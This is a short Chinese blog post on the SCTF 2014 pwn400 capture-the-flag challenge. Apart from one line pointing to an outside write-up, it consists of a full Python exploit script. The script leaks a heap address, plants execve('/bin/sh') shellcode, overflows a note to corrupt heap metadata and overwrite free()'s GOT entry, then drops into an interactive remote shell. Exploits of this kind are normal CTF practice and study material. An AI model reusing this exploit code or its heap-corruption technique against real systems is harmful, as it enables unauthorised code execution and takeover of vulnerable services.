sctf pwn400

　　这个题目在这个链接中分析得很透彻，不再多余地写了。http://bruce30262.logdown.com/posts/245613-sctf-2014-pwn400

　　exploit:

from socket import *
import struct
import time

shellcode = "\x90\x90\x90\x90\x90\x90"+"\xeb\x08"+"AAAA"+"\x90"*10+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x59\x50\x5a\xb0\x0b\xcd\x80"
sock = socket(AF_INET, SOCK_STREAM)
sock.connect(("192.168.200.7", 10001))

time.sleep(1)
print sock.recv(1024)
#new two note: 2, 1
for i in xrange(2):
     sock.send('1\n')
     time.sleep(1)
     sock.recv(1024)
     sock.send(str(i+1) + '\n')
     time.sleep(1)
     sock.recv(1024)
     sock.send(str(i+1) + '\n')
     time.sleep(1)
     sock.recv(1024)
     sock.send(str(i+1) + '\n')
     time.sleep(1)
     sock.recv(1024)
#new the third note: 3
sock.send('1\n')
time.sleep(1)
sock.recv(1024)
sock.send('3\n')
time.sleep(1)
sock.recv(1024)
sock.send('3\n')
time.sleep(1)
sock.recv(1024)
time.sleep(1)
#store shellcode in note 3
sock.send(shellcode+"\n")

#get the note 1's address
sock.send('3\n')
time.sleep(1)
print sock.recv(100)
sock.send('1\n')
time.sleep(1)
note1_addr = sock.recv(2048)
while note1_addr.find('location:') == -1:
     note1_addr += sock.recv(2048)
print note1_addr
note1_addr = note1_addr[note1_addr.find('location:') + 11:]
note1_addr = note1_addr[:note1_addr.find('\n')]
addr1 = int(note1_addr, 16)
print addr1
#note 2's address
addr2 = addr1 + 0x170
#note 3's address
addr3 = addr2 + 0x170
#shellcode's address
addr_shellcode = struct.pack("<I", addr3 + 0x6c)
#free()'s Got: 0x0804a450
exploit = "A"*256+"BBBB"+struct.pack("<I",addr2)+addr_shellcode+"\x4c\xa4\x04\x08"

#edit note 1
sock.send("4\n")
time.sleep(1)
print sock.recv(1024)
sock.send("1\n")
time.sleep(1)
print sock.recv(1024)
sock.send(exploit+"\n")
time.sleep(1)
print sock.recv(1024)

#delete node 2
sock.send("5\n")
time.sleep(1)
sock.recv(1024)
time.sleep(1)
sock.send(hex(addr2)[2:10]+'\n')
time.sleep(1)
sock.recv(1024)

while True:
    sock.send(raw_input('$ ') + '\n')
    time.sleep(1)
    temp = sock.recv(2048)
    print temp